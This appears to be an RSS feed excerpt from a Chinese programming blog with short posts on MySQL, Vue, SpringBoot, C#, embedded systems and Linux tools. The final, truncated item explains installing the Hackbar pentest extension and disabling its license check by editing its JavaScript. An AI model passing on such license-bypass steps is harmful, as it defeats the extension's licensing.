      <description>根据错误信息大概知道，是sql_mode参数设置为only_full_group_by的不兼容，如果select 的字段不在 group by 中，并且select 字段没有使用聚合函数（SUM,MAX等），这个sql查询是被mysql认为非法的，会报错。&#xA;1.查询 sql_mode select @@GLOBAL.sql_mode;&#xA;查出来值为：ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION 2.永久修改sql_mode （Liunx安装的MySQL）&#xA;1)找到my.cnf文件，通过 find -name &#34;my.cnf&#34;&#xA;2)编辑my.cnf文件，通过 vi etc/my.cnf&#xA;3)如果my.cnf文件中有sql_mode参数，去掉ONLY_FULL_GROUP_BY，重启MySQL&#xA;4)如果my.cnf文件中没sql_mode参数，需要手动添加，注意加在[mysqld]下，否则可能不生效&#xA;sql-mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION&#xA;5)如果第4步操作完成后还是报错，把sql-mode修改一下&#xA;sql-mode=STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION 6)重启MySQL&#xA;7)验证是否修改成功&#xA;8) 验证group by语句是否报错</description>
    </item>
    <item>
      <title>rabbitmq 交换机与队列被创建后他们的基本特性是不能改变的，只能删掉重新创建 需要注意</title>
      <link>https://bchobby.github.io/posts/31570ac4768a1a435ccef504e1174a36/</link>
      <pubDate>Mon, 03 Jul 2023 16:10:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31570ac4768a1a435ccef504e1174a36/</guid>
      <description>交换机与队列被创建后他们的基本特性是不能改变的，只能删掉重新创建 需要注意</description>
    </item>
    <item>
      <title>Dbeaver导出csv时显示科学计数法</title>
      <link>https://bchobby.github.io/posts/c86f587229042b570f4dd243ebdc4625/</link>
      <pubDate>Mon, 03 Jul 2023 16:06:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c86f587229042b570f4dd243ebdc4625/</guid>
      <description> 在查询语句中加入&#34;\t&#34;&#xA;select concat(&#34;&#34;,model,&#34;\t&#34;) as model&#xA;from monthly_retail_stat mrs group by model </description>
    </item>
    <item>
      <title>代理服务器拒绝连接怎么办</title>
      <link>https://bchobby.github.io/posts/ef0bd05d8a165a391b287daafd4894ae/</link>
      <pubDate>Mon, 03 Jul 2023 14:27:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef0bd05d8a165a391b287daafd4894ae/</guid>
      <description>在使用代理服务器时，有时我们可能会遇到代理服务器拒绝连接的问题。这种情况可能会阻止我们访问被封锁的内容或绕过地理限制。下面，我们来一起探讨一下。&#xA;1. 配置错误&#xA;代理服务器拒绝连接的一个常见原因是配置错误。请确保您已正确输入代理服务器的地址和端口号。仔细检查您的设置，确保没有拼写错误或格式错误。如果您不确定正确的配置，请找管理员以获取准确的配置信息。&#xA;2. 防火墙设置&#xA;防火墙是一种常见的网络安全措施，它可以阻止未经授权的访问。有时代理服务器所在的网络中的防火墙可能会拒绝来自外部网络的连接。在这种情况下，您需要找网络管理员，请求将您的IP地址添加到白名单中，以允许连接代理服务器。&#xA;3. 访问权限限制&#xA;某些代理服务器可能有访问权限限制，只允许特定的IP地址或用户访问。如果您的IP地址不在允许列表中，代理服务器可能会拒绝连接。您可以找管理员，请求将您的IP地址添加到允许列表中，以获得访问权限。&#xA;4. 服务器负载过高&#xA;代理服务器的负载过高也可能导致连接被拒绝。当代理服务器同时处理大量的连接请求时，它可能会限制新的连接以保持性能稳定。在这种情况下，您可以尝试稍后再次连接，或者找管理员，了解服务器负载情况，并寻求他们的建议。&#xA;5. 服务器维护&#xA;有时代理服务器可能需要进行维护工作，例如升级软件、修复漏洞或进行系统优化。在维护期间，代理服务器可能会暂时拒绝连接。如果您遇到此问题，只需稍后再次尝试连接即可。&#xA;总结：&#xA;当代理服务器拒绝连接时，最重要的是保持耐心，并尝试找出具体的原因。找管理员，向他们寻求帮助和指导，他们将能够为您提供更准确的解决方案。此外，如果您在使用代理服务器时经常遇到连接问题，您还可以尝试其他可靠的代理服务器提供商。不同的代理服务器可能有不同的性能和可靠性，选择适合您需求的代理服务器是确保顺畅连接的关键。&#xA;总之而言，当代理服务器拒绝连接时，您可以检查配置、请求访问权限、等待服务器负载下降或维护完成。通过这些方法，您将能够处理代理服务器拒绝连接的问题，并顺利访问被限制的内容。</description>
    </item>
    <item>
      <title>PS消除一些痕迹</title>
      <link>https://bchobby.github.io/posts/152c294781ce14683310891974d5bd40/</link>
      <pubDate>Mon, 03 Jul 2023 13:33:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/152c294781ce14683310891974d5bd40/</guid>
      <description>目录&#xA;一.目的：&#xA;1.如图所示，想消除黑色、红色痕迹&#xA;二.实操(成功)&#xA;一.目的： 1.如图所示，想消除黑色、红色痕迹 二.实操(成功) 如视频所示，先点击拾色器点击需要修改地方边上的颜色，然后进行涂改；&#xA;其中技巧&#xA;alt快速出现拾色器右键出现画笔的大小ctrl加上“+”“-”进行图片放大缩小 最终，如图所示，改掉了最左边的红色线条</description>
    </item>
    <item>
      <title>【王道数据结构】二叉树创建、遍历及线索化</title>
      <link>https://bchobby.github.io/posts/3e692f79723223851fef39c6d68e9beb/</link>
      <pubDate>Mon, 03 Jul 2023 13:24:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e692f79723223851fef39c6d68e9beb/</guid>
      <description>一、二叉树层次建树及遍历（先序中序后序及层序遍历） function.h文件 / // Created by 斋心 on 2023/5/22. // #ifndef TREE_FUNCTION_H #define TREE_FUNCTION_H #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; typedef char BiElemType; //二叉树结构体类型申明 typedef struct BiTNode{ BiElemType c;//结点数据 struct BiTNode *lchild;//结点左孩子指针 struct BiTNode *rchild;//结点右孩子指针 }BiTNode,*BiTree; //创建二叉树辅助队列结构体类型申明 typedef struct tag{ BiTree p; //辅助队列的结点数据是二叉树结点地址（指针） struct tag *pnext; }tag_t,*ptag_t; //队列（链式队列）结点的结构体类型申明 typedef BiTree ElemType; //存储树节点的指针 typedef struct LinkNode{ ElemType data; struct LinkNode *next; }LinkNode; //链表结点结构类型申明 //层次遍历二叉树辅助队列结构体类型申明 typedef struct{ LinkNode *front,*rear; //链表头，链表尾 }LinkQueue; //先进先出，从队尾入队，队头出队 //申明要在main.cpp中使用的queue函数 void InitQueue(LinkQueue &amp;amp;Q); void EnQueue(LinkQueue &amp;amp;Q,ElemType x); bool DeQueue(LinkQueue &amp;amp;Q,ElemType &amp;amp;m); bool IsEmpty(LinkQueue Q); #endif //TREE_FUNCTION_H queue.</description>
    </item>
    <item>
      <title>ARM架构（嵌入式概念）</title>
      <link>https://bchobby.github.io/posts/d6db9155d41ee6b2cacd447a5bca6cbb/</link>
      <pubDate>Mon, 03 Jul 2023 11:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6db9155d41ee6b2cacd447a5bca6cbb/</guid>
      <description>文章目录 前言一、MCU和MPU介绍和区别二、嵌入式硬件结构与启动三、RAM和ROM总结 前言 本篇文章开始带大家深入学习ARM架构，深入的学习ARM架构可以帮助我们深入的了解到最核心的内容，并且增强我们的底层思维能力。&#xA;一、MCU和MPU介绍和区别 MCU（Microcontroller Unit，微控制器单元）和MPU（Microprocessor Unit，微处理器单元）是嵌入式系统中常见的两种处理器类型，它们有一些相似之处，但也存在一些区别。&#xA;MCU（Microcontroller Unit）：&#xA;MCU是一种完整的计算机系统集成在一颗芯片上，包括处理器核心（通常是微处理器）、存储器（如闪存和RAM）、输入/输出接口（如GPIO、UART、SPI等）、定时器、模拟电路（如ADC、DAC等）和其他外设。它主要用于嵌入式系统，如家电、汽车电子、智能设备等，通常有较低的功耗和较小的体积。MCU往往具有较低的成本，可裸片运行，且通常能够自带固件（如引导加载程序）。&#xA;MPU（Microprocessor Unit）：&#xA;MPU是计算机系统中的主处理器单元，通常是一颗独立的芯片，它执行所有计算、控制和处理任务。MPU通常配备与它一起工作的外部存储器（如RAM、ROM、闪存）和外部设备（如输入/输出接口、硬盘、网络接口等）。MPU的处理能力较强，适用于需要大量数据处理和高性能计算的应用，如个人电脑、服务器、嵌入式Linux系统等。&#xA;区别：&#xA;1.集成度和外设：MCU是在单个芯片上集成了处理器核心、存储器和外设，而MPU通常需要外部芯片来提供存储器和外设。MCU在集成度方面更高。&#xA;2.功耗和成本：由于MCU通常用于功耗敏感的嵌入式系统，它们通常具有较低的功耗，并且成本相对较低。MPU则更适用于需要高性能和较高功耗的应用。&#xA;3.处理能力：MPU拥有更强大的处理能力，适用于需要复杂计算和大量数据处理的任务。MCU的处理能力相对较弱，适用于较简单的嵌入式应用。&#xA;总的来说，MCU和MPU都是用于嵌入式系统的处理器，但其设计目标、特点和适用范围有所不同。在选择时，需要根据具体应用的需求，考虑功耗、成本、性能要求等因素来选择适合的处理器类型。&#xA;二、嵌入式硬件结构与启动 在ARM架构中，ROM（Read-Only Memory，只读存储器）通常包含用于启动设备的固件程序，例如引导加载程序（Bootloader）。ROM中的程序负责在系统电源打开或复位时进行初始化，并选择设备的启动方式。&#xA;下面是ARM从ROM中读取程序进行选择设备启动方式的基本过程：&#xA;1.上电/复位：当系统上电或者复位时，处理器开始执行从ROM的起始地址处开始的指令。&#xA;2.ROM载入：处理器从ROM中读取初始的引导加载程序代码。&#xA;3.引导加载程序执行：引导加载程序是一个小型的固件程序，负责初始化系统硬件，包括外设和内存控制器。它还负责加载并运行操作系统或其他应用程序。&#xA;4.设备启动方式选择：引导加载程序的一个重要功能是决定设备的启动方式。根据具体的实现和设备的配置，引导加载程序可以通过不同的方式选择启动方式。这些启动方式可以包括从不同的存储设备（如闪存、SD卡、网络等）加载操作系统镜像，或者从其他引导设备（如串口、USB等）接收启动命令。&#xA;5.加载操作系统：引导加载程序根据选择的启动方式，从适当的存储设备中加载操作系统镜像到内存中。&#xA;6.跳转到操作系统：引导加载程序将控制权转移到已经加载的操作系统的入口点，操作系统接管处理器，并开始执行其自己的初始化和启动过程。&#xA;三、RAM和ROM 在ARM架构中，RAM（Random Access Memory，随机访问存储器）和ROM（Read-Only Memory，只读存储器）是常见的存储器类型，用于存储和处理数据、指令和程序。&#xA;RAM（随机访问存储器）：&#xA;RAM是一种易于写入和读取数据的临时存储器。在ARM系统中，RAM通常用于存储正在执行的程序、变量、堆栈和其他临时数据。RAM是易失性存储器，意味着在断电或复位后数据将丢失。它具有较快的读写速度和随机访问的能力，适用于需要快速读写和频繁访问的数据和指令。RAM在ARM系统中通常分为不同的级别，如L1缓存、L2缓存和系统内存。&#xA;ROM（只读存储器）：&#xA;ROM是一种只读的存储器，其中存储的数据在制造过程中被写入，并且在正常使用情况下不能被修改。在ARM系统中，ROM通常包含固化的引导加载程序（Bootloader）或其他不变的固件程序。ROM被用于存储启动代码、初始化程序和设备固件等不易改变的数据和指令。ROM可以提供始终可靠和可用的引导代码，即使在系统断电或异常情况下也能正常运行。&#xA;需要注意的是，随着技术的进步，现在的ROM已经演变为可以被修改的存储介质，例如闪存（Flash Memory）。闪存既可以作为只读存储器（例如存储固件程序），又可以作为可写存储器（用于存储数据和应用程序）。闪存具有较大的容量、较高的存储密度和非易失性的特点，广泛用于嵌入式系统中。&#xA;总结：&#xA;RAM和ROM在ARM架构中扮演着不同的角色。RAM用于存储临时数据、程序和堆栈，具有较快的读写速度。ROM用于存储引导加载程序和其他固件程序，其内容在制造过程中被写入，很难修改。闪存则是一种可读可写的存储介质，适用于存储固件、数据和应用程序。这些存储器类型在ARM系统中协同工作，为设备的运行和存储提供必要的支持。&#xA;总结 本篇文章就讲解到这里，下篇文章开始我们讲解使用寄存器点亮一个LED灯。</description>
    </item>
    <item>
      <title>FOC-滑膜控制器SMC/滑膜观测器SMO</title>
      <link>https://bchobby.github.io/posts/00ad6d202b35beb708de76c9c25be129/</link>
      <pubDate>Mon, 03 Jul 2023 10:41:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00ad6d202b35beb708de76c9c25be129/</guid>
      <description>目录&#xA;前面&#xA;滑膜速度控制器&#xA;控制器所处位置&#xA;理论设计&#xA;模型搭建&#xA;滑膜观测器&#xA;基本原理&#xA;反正切函数&#xA;锁相环&#xA;滑膜观测器模型（反正切）&#xA;滑膜观测器C代码实现&#xA;SMO.c&#xA;SMO.h&#xA;前面 滑膜常见用处有两个：&#xA;1、作为滑膜控制器SMC，对速度进行直接控制&#xA;2、作为滑膜观测器SMO，获取电机角度与转速信息&#xA;滑膜速度控制器 SMC叫滑膜控制（Sliding Mode Contral）&#xA;三相PMSM是一个非线性、强耦合的多变量控制系统，对于外界的扰动或者电机自身的参数发生变化时，传统的PI控制并不能满足实际的要求。因此可以引入滑模控制SMC，它对扰动和参数不敏感，响应速度也够快。&#xA;控制器所处位置 该模型在整个控制系统中的位置：&#xA;输入是：参考转速与实际转速的误差。&#xA;输出是：Iq轴PI调节的输入。&#xA;理论设计 滑模控制其设计如下：&#xA;重点关注最后一个公式就可以。&#xA;模型搭建 公式可以转换为模型：&#xA;其中这三个属于滑模控制器关键参数：&#xA;转速：0.2秒时加载，可快速恢复到参考转速值1000。&#xA;电磁转矩&#xA;滑膜观测器 SMO叫滑膜观测器（Sliding Mode Observer），用于获取转子位置信息与转速信息。&#xA;在整个控制系统中所处的位置：&#xA;基本原理 该方法基于给定电流与反馈电流之间的误差来设计滑膜观测器，并通过该误差重构电机的反电动势，估算转子位置。&#xA;简单来说就是，滑膜观测器就是通过采样与坐标变换得到的Ualpha，Ubeta，Ialpha，Ibeta四个参数值，获取扩展反电动势Ealpha、Ebeta的值。&#xA;之后则是需要想办法通过反电动势值，来获取转子的位置角θ：常见办法有反正切函数、PLL锁相环。同理也可同时获得转速估计值。&#xA;反正切函数 转子的位置角：&#xA;转速估计值：&#xA;锁相环 滑膜观测器模型（反正切） 整体模型：&#xA;滑膜观测器总模型：&#xA;滑膜观测器获取反电动势模型：&#xA;反正切函数模型获取转子位置与速度信息：&#xA;转子位置 实际值与估计值：&#xA;转子速度 实际值与估计值：&#xA;滑膜观测器C代码实现 SMO.c #include &#34;Sensorless_SMO.h&#34; #include &#34;IQ_math.h&#34; #define PI 3.14159265358979 extern Angle_SMO Angle_SMOPare ; extern Speed_est Speed_estPare ; extern SMO_Motor SMO_MotorPare ; extern IQAtan IQAtan_Pare; //这段代码实现了角度估计的计算过程，其中包括滑模位置观测器的更新、电流误差的计算、滑动控制量的计算和反电势的估计 void Angle_Cale(p_Angle_SMO pV) { /*&#x9;Sliding mode current observer&#x9;*/ pV-&amp;gt;EstIalpha = _IQmpy(pV-&amp;gt;Fsmopos,pV-&amp;gt;EstIalpha) + _IQmpy(pV-&amp;gt;Gsmopos,(pV-&amp;gt;Valpha-pV-&amp;gt;Ealpha-pV-&amp;gt;Zalpha)); pV-&amp;gt;EstIbeta = _IQmpy(pV-&amp;gt;Fsmopos,pV-&amp;gt;EstIbeta) + _IQmpy(pV-&amp;gt;Gsmopos,(pV-&amp;gt;Vbeta -pV-&amp;gt;Ebeta -pV-&amp;gt;Zbeta )); /*&#x9;Current errors&#x9;*/ pV-&amp;gt;IalphaError = pV-&amp;gt;EstIalpha - pV-&amp;gt;Ialpha; pV-&amp;gt;IbetaError = pV-&amp;gt;EstIbeta - pV-&amp;gt;Ibeta; /* Sliding control calculator&#x9;*/ /* pV-&amp;gt;Zalpha=pV-&amp;gt;IalphaError*pV-&amp;gt;Kslide/pV-&amp;gt;E0) where E0=0.</description>
    </item>
    <item>
      <title>vue3&#43;ts 节流防抖全局使用</title>
      <link>https://bchobby.github.io/posts/ace2706cc3868c6cf733511a09c18051/</link>
      <pubDate>Mon, 03 Jul 2023 09:40:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ace2706cc3868c6cf733511a09c18051/</guid>
      <description>1.在utils下创建一个ts文件夹 随便你叫什么 。&#xA;import { ref, watchEffect } from &#39;vue&#39;; export const useThrottleDebounce = () =&amp;gt; { const throttleTimer = ref&amp;lt;any&amp;gt;(null); const debounceTimer = ref&amp;lt;any&amp;gt;(null); const throttle = (fn: Function, delay = 500) =&amp;gt; { if (throttleTimer.value) { return; } throttleTimer.value = setTimeout(() =&amp;gt; { fn(); throttleTimer.value = null; }, delay); }; const debounce = (fn: Function, delay = 500) =&amp;gt; { clearTimeout(debounceTimer.value); debounceTimer.value = setTimeout(() =&amp;gt; { fn(); }, delay); }; const clearThrottle = () =&amp;gt; { clearTimeout(throttleTimer.</description>
    </item>
    <item>
      <title>vue路由配置公共布局layout</title>
      <link>https://bchobby.github.io/posts/ba7e2692a16b163b2b206658c2eedb4f/</link>
      <pubDate>Mon, 03 Jul 2023 04:33:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba7e2692a16b163b2b206658c2eedb4f/</guid>
      <description>本篇实现三段式界面&#xA;公共布局文件 首先在src下新建layoutPc文件夹，再给layoutPc新建组件 header 、bottm、main三个文件基本确定了一个页面的基本架子，然后再新建一个index.vue文件&#xA;comment/AppMain.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;section class=&#34;app-main&#34;&amp;gt; &amp;lt;transition name=&#34;fade-transform&#34; mode=&#34;out-in&#34;&amp;gt; &amp;lt;keep-alive &amp;gt; &amp;lt;router-view v-if=&#34;!$route.meta.link&#34; :key=&#34;key&#34; /&amp;gt; &amp;lt;/keep-alive&amp;gt; &amp;lt;/transition&amp;gt; &amp;lt;iframe-toggle /&amp;gt; &amp;lt;/section&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;AppMain&#39;, components: { }, computed: { key() { return this.$route.path } } } &amp;lt;/script&amp;gt; bootom/index.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;bottom-wrapper&#34;&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-col :span=&#34;8&#34;&amp;gt; &amp;lt;div&amp;gt; 友情链接 &amp;lt;/div&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;8&#34;&amp;gt; &amp;lt;p&amp;gt;© {{ new Date().getFullYear() }} &amp;lt;/p&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div class=&#34;web-title&#34;&amp;gt; &amp;lt;svg-icon icon-class=&#34;web&#34; size=&#34;1.1875rem&#34;&amp;gt;&amp;lt;/svg-icon&amp;gt; 网站资讯 &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;</description>
    </item>
    <item>
      <title>SpringBoot学习笔记</title>
      <link>https://bchobby.github.io/posts/361d202bf7d12fac50b366e3c9b07cd8/</link>
      <pubDate>Mon, 03 Jul 2023 00:42:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/361d202bf7d12fac50b366e3c9b07cd8/</guid>
      <description>文章目录 SpringBoot一、SpringBoot简介1.1 SpringBoot的概述 二、SpringBoot快速入门2.1 快速入门案例2.2 SpringBoot工程热部署2.3 使用idea快速创建SpringBoot项目 三、SpringBoot原理分析3.1 起步依赖原理分析3.2 自动配置原理解析3.2.1 原web.xml的中配置3.2.2 @SpringBootApplication注解3.2.3 举例自动配置 四、SpringBoot的配置文件4.1 SpringBoot配置文件类型4.2 application\*.yml配置文件4.3 配置文件与配置类的属性映射方式4.3.1 @ConfigurationProperties注解4.3.2 使用注解@Value映射 五、SpringBoot与整合其他技术5.1 SpringBoot整合Mybatis5.2 SpringBoot整合Junit5.3 SpringBoot整合Spring Data JPA5.3.1 Spring Data JPA 简介5.3.2 Spring Data JPA 的使用 5.4 SpringBoot整合Redis5.5 SpringBoot整合定时任务5.5.1 SpringBoot整合定时任务5.5.2 corn表达式 5.6 SpringBoot整合Thymeleaf SpringBoot 以前学习SpringBoot时所做的笔记，发在这里是为了方便自己翻阅，不喜勿喷。&#xA;一、SpringBoot简介 1.1 SpringBoot的概述 什么是Spring Boot&#xA;Spring Boot 是所有基于 Spring Framework 5.0 开发的项目。Spring Boot 的设计是为了让你尽可能快的跑起来 Spring 应用程序，并且尽可能减少你的配置文件。设计目的： 用来简化 Spring 应用的初始搭建以及开发过程。 从最根本上来讲，Spring Boot 就是一些库的集合，它能够被任意项目所使用，它使用 “习惯优于配置” （项目中存在大量的配置，此外还内置一个习惯性的配置）的理念让你的项目快速运行起来。spring boot 其实不是什么新的框架，它默认配置了很多框架的使用方式，就像 maven 整合了所有的 jar 包，spring boot 整合了所有的框架，总结一下及几点： 为所有 Spring 开发提供一个更快更广泛的入门体验。零配置，无冗余代码生成和XML 强制配置，遵循“约定大于配置” 。集成了大量常用的第三方库的配置， Spring Boot 应用为这些第三方库提供了几乎可以零配置的开箱即用的能力。提供一系列大型项目常用的非功能性特征，如嵌入服务器等。 SpringBoot的特点</description>
    </item>
    <item>
      <title>C#异常总结</title>
      <link>https://bchobby.github.io/posts/d92972234b2e11a9fa153920cfbfebed/</link>
      <pubDate>Sun, 02 Jul 2023 23:10:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d92972234b2e11a9fa153920cfbfebed/</guid>
      <description>C#异常总结 定义Try语句异常类创建用户自定义异常搜索调用栈的示例异常抛出 定义 程序中的运行时错误，它违反一个系统约束或应用程序约束，或出现了在正常操作时未预料的情形。&#xA;Try语句 指明被异常保护的代码块，并提供代码以处理异常。try由三部分组成:try…catch finally.&#xA;try:包含正被异常保护的代码&#xA;catch:含有一个或多个catch子句，这些是处理异常的代码块，也叫做异常处理程序&#xA;finally：含有在所有情况下都要被执行的代码，无论有没有异常发生&#xA;异常类 BCL定义了许多类，每一个类代表一个指定的异常类型，当一个异常发生时，CLR:&#xA;创建该类型的异常对象寻找适当的catch子句以处理 它 所有异常类都从根本上派生自system.exception类，异常继承层次如下&#xA;异常类类型包括：基类：System.Exception；系统级异常：System.SystemException；应用程序级异常：System.ApplicationException。&#xA;(1).由System.SystemException派生的异常类型：&#xA;System.AccessViolationException在试图读写受保护内存时引发的异常。System.ArgumentException在向方法提供的其中一个参数无效时引发的异常。System.Collections.Generic.KeyNotFoundException指定用于访问集合中元素的键与集合中的任何键都不匹配时所引发的异常。System.IndexOutOfRangeException访问数组时，因元素索引超出数组边界而引发的异常。System.InvalidCastException因无效类型转换或显示转换引发的异常。System.InvalidOperationException当方法调用对于对象的当前状态无效时引发的异常。System.InvalidProgramException当程序包含无效Microsoft中间语言（MSIL）或元数据时引发的异常，这通常表示生成程序的编译器中有bug。System.IO.IOException发生I/O错误时引发的异常。System.NotImplementedException在无法实现请求的方法或操作时引发的异常。System.NullReferenceException尝试对空对象引用进行操作时引发的异常。System.OutOfMemoryException没有足够的内存继续执行程序时引发的异常。System.StackOverflowException挂起的方法调用过多而导致执行堆栈溢出时引发的异常。 (2).由System.ArgumentException派生的异常类型：&#xA;System.ArgumentNullException当将空引用传递给不接受它作为有效参数的方法时引发的异常。System.ArgumentOutOfRangeException当参数值超出调用的方法所定义的允许取值范围时引发的异常。 (3).由System.ArithmeticException派生的异常类型：&#xA;System.DivideByZeroException试图用零除整数值或十进制数值时引发的异常。System.NotFiniteNumberException当浮点值为正无穷大、负无穷大或非数字（NaN）时引发的异常。System.OverflowException在选中的上下文中所进行的算数运算、类型转换或转换操作导致溢出时引发的异常。 (4).由System.IOException派生的异常类型：&#xA;System.IO.DirectoryNotFoundException当找不到文件或目录的一部分时所引发的异常。System.IO.DriveNotFoundException当尝试访问的驱动器或共享不可用时引发的异常。System.IO.EndOfStreamException读操作试图超出流的末尾时引发的异常。System.IO.FileLoadException当找到托管程序却不能加载它时引发的异常。System.IO.FileNotFoundException试图访问磁盘上不存在的文件失败时引发的异常。System.IO.PathTooLongException当路径名或文件名超过系统定义的最大长度时引发的异常。 (5).其他常用异常类型：&#xA;ArrayTypeMismatchException试图在数组中存储错误类型的对象。BadImageFormatException图形的格式错误。DivideByZeroException除零异常。DllNotFoundException找不到引用的dll。FormatException参数格式错误。MethodAccessException试图访问私有或者受保护的方法。MissingMemberException访问一个无效版本的dll。NotSupportedException调用的方法在类中没有实现。PlatformNotSupportedException平台不支持某个特定属性时抛出该错误。 创建用户自定义异常 自定义的异常类派生自ApplicationException类&#xA;class Program { static void Main(string[] args) { //用户自定义的异常类是派生自ApplicationException类 Temperture temp = new Temperture(); try { temp.showTemp(); } catch(TempIsZeroException e) { Console.WriteLine(&#34;TempIsZeroException:{0}&#34;, e.Message); } Console.ReadKey(); } } //创建自定义异常 public class TempIsZeroException:ApplicationException { public TempIsZeroException(string message):base(message) { } } public class Temperture { int temperature = 0; public void showTemp() { if(temperature==0) { throw (new TempIsZeroException(&#34;</description>
    </item>
    <item>
      <title>引入定义ts类型文件报错SyntaxError: The requested module ‘xxx‘ does not provide an export named ‘xxx‘</title>
      <link>https://bchobby.github.io/posts/b412742d79033ce436a37b35e86d9701/</link>
      <pubDate>Sun, 02 Jul 2023 22:21:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b412742d79033ce436a37b35e86d9701/</guid>
      <description>SyntaxError: The requested module &#39;xxx&#39; does not provide an export named &#39;xxx&#39;&#xA;vite映入ts定义数据类型的模块爆出处理方式&#xA;解决方法： import type { xxx } from &#39;xxxx&#39;</description>
    </item>
    <item>
      <title>高性能linux服务构建 2网络安全运维</title>
      <link>https://bchobby.github.io/posts/7322a71873140d2d64c075310133e23b/</link>
      <pubDate>Sun, 02 Jul 2023 17:17:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7322a71873140d2d64c075310133e23b/</guid>
      <description>1 网络实时流量监测工具iftop 1.1 功能 检测网卡流量，端口信息，精确检测网络中各主机情况，反向解析ip&#xA;流量异常检测也很ok&#xA;1.2 安装 （1）下载包&#xA;需解压然后编译&#xA;yum install libpcap libpcap-devel ncurses ncurses-devel&#xA;yum install fl ex byacc&#xA;（2）下载源码&#xA;wget https://...&#xA;解压 tar zxcf ...&#xA;cd /iftop-0.17; cd ./configure&#xA;编译 make; make install&#xA;还要装各epel-release就ok了&#xA;1.3 使用 iftop -P -i ens33&#xA;2 ntopng 用途 相比于iftop，可以不仅查看本主机端口流量发收情况，还可以看到主机和其他主机网络通信信息&#xA;2.1 安装 apt install ntopng&#xA;安装完chown nobody -R /var/log/ntopng，否则ntopng服务无法在此路径创日志&#xA;2.2 使用 登录http://127.0.0.1:3000查看网络信息&#xA;3 网络性能评估工具iperf 3.1 用途 可以评估网络性能，比如如果哪里带宽或其他性能没设计好，可通过此工具看出问题&#xA;3.2 安装 apt install iferf</description>
    </item>
    <item>
      <title>信号与系统复习笔记——通讯系统</title>
      <link>https://bchobby.github.io/posts/f59d50f84cfc10798c7cd17d4556479c/</link>
      <pubDate>Sun, 02 Jul 2023 17:11:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f59d50f84cfc10798c7cd17d4556479c/</guid>
      <description>信号与系统复习笔记——通讯系统 复指数与正弦幅度调制 y ( t ) = x ( t ) c ( t ) y(t) = x(t)c(t) y(t)=x(t)c(t)&#xA;上式称为调制，其中 x ( t ) x(t) x(t) 称为 调制信号 ，而 c ( t ) c(t) c(t) 称为 载波信号 ， y ( t ) y(t) y(t) 称为 已调信号 。 调制 的目的就是将低频信号搬运到高频信号中进行传输。&#xA;复指数载波的幅度调制 幅度调制通常有两种形式，一种是复指数的：&#xA;c ( t ) = e j ( ω c t + θ c ) c(t) = e^{j(\omega_c t+\theta_c)} c(t)=ej(ωc​t+θc​)</description>
    </item>
    <item>
      <title>B端设计规范</title>
      <link>https://bchobby.github.io/posts/4de37f8e0ad155ec00522844f87ef98a/</link>
      <pubDate>Sun, 02 Jul 2023 16:44:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4de37f8e0ad155ec00522844f87ef98a/</guid>
      <description> </description>
    </item>
    <item>
      <title>Hackbar插件安装</title>
      <link>https://bchobby.github.io/posts/9a561416fd41ed20a01cb46f2343f320/</link>
      <pubDate>Sun, 02 Jul 2023 15:50:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a561416fd41ed20a01cb46f2343f320/</guid>
      <description>一：hackbar插件简介&#xA;Hackbar是一款基于浏览器的简单的安全审计或者说是渗透测试工具，能够帮助测试人员测试sql注入，XSS漏洞和站点安全性，帮助开发人员对其代码进行安全审计。&#xA;功能介绍：&#xA;二：安装（以Chrome浏览器为例）&#xA;方式1：下载安装包进行安装&#xA;下载安装包之后，打开浏览器 —&amp;gt; 自定义及控制（最右边三个点） —&amp;gt; 更多工具 —&amp;gt; 扩展程序&#xA;打开开发者模式，将安装包直接拖拽到浏览器的扩展程序中。&#xA;这里需要注意的是所下载的hackbar的版本，目前网上大多数下载的是2.1.3版本（解压安装时显示为2.2.6版本）。&#xA;注意：不能直接将安装包拖拽至浏览器，否则出现：&#xA;出现这个问题的原因主要是没有解压内部的.crx文件，需将.crx文件的后缀改为.rar或.zip，再进行解压。（若安装包内有一个和.crx文件一样的.rar或.zip文件，则直接解压即可）&#xA;将安装包拖拽到浏览器的扩展程序之后，查看浏览器右上角是否出现图标，出现则表示插件安装成功，但并未激活。&#xA;激活方式&#xA;方式1：&#xA;点击详细信息，然后自动跳转，点击来源下的链接。&#xA;既进入到hackbar插件的安装文件目录中，在解压出来的文件中（原.crx文件-2.1.3版本）找到theme/js，打开js文件之后找到hackbar-panel.js文件。&#xA;打开hackbar-panel.js文件，将文件中的三处disable_hackbar( )函数替换为 init( )， 保存。&#xA;方式2：&#xA;同样点击来源，进入到hackbar插件的安装文件目录中，在解压出来的文件中（原.crx文件-2.1.3版本）找到theme/js，打开js文件之后找到hackbar-panel.js文件。将文件中代码：&#xA;“license_ok = false” 改成 “license_ok = 